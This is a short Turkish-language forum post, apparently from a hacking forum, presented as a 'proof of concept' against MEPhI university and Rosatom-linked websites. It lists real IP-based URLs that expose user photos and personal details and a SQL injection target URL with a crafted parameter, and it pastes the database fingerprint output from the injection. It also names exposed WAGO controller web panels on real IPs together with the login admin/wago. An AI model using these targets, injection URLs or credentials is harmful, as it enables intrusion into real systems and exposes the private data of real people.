Araştırma Nükleer Üniversitesi MEPhI - Kavram Kanıtı

Hata Bildirimi Kullanıcı Bilgileri -
Ayrıcalıklar.
Site:

Электронное обучение НИЯУ МИФИ :: Добро пожаловать на учебный портал НИЯУ МИФИ

Kullanıcıları Listeleme ve Fotoğrafı Ortaya Çıkarma:
Misal:

http://85.143.112.133/reg.php4?getimg=5

http://85.143.112.133/reg.php4?getimg=4

http://85.143.112.133/reg.php4?getimg=3

Gösteriler:
Kullanıcı Bilgilerinin Açıklanması:
- İsim
- uzmanlık
- yüz tanıma
- e-posta
şu parametreyi kullanıyoruz:

http://85.143.112.133/userinfo.php?mid=4 >>
için
kullanıcı açıklaması ve listeleriz

ve SQL Inyection

target: http://www.gsssd-rosatom.mephi.ru/[/align][/B][/FONT][/SIZE][/CENTER][/B][/FONT][/SIZE][/CENTER]
[SIZE=18px][FONT=Georgia][B][CENTER][SIZE=18px][FONT=Georgia][B][CENTER]Target:
http://www.gsssd-rosatom.mephi.ru/DB-metals/view_index_db.php?id=1%C2%B4%
C2%B4
Host IP: 85.143.112.151
Web Server: Microsoft-IIS/7.5
Powered-by: PHP/5.5.33
Powered-by: ARR/3.0
Powered-by: ASP.NET
DB Server: MySQL >=5
Resp. Time(avg): 1022 ms
Current User: gsssd-rosatom@localhost
Sql Version: 5.5.34-log
Current DB: site_gsssdrosatom
System User: gsssd-rosatom@localhost
Host Name: APM02
Installation dir: D:/MySQL/
DB User: 'gsssd-rosatom'@'%'
Data Bases: information_schema
site_gsssdrosatom

​

Sunucular İfşa

http://37.193.19.56:8098/webserv/index.ssi

http://37.29.86.138:8080/webserv/index.ssi

kullanıcı adı: admin
parola: wago ​

 

up ...

 

up

 

Guncelll..

 

up

 

up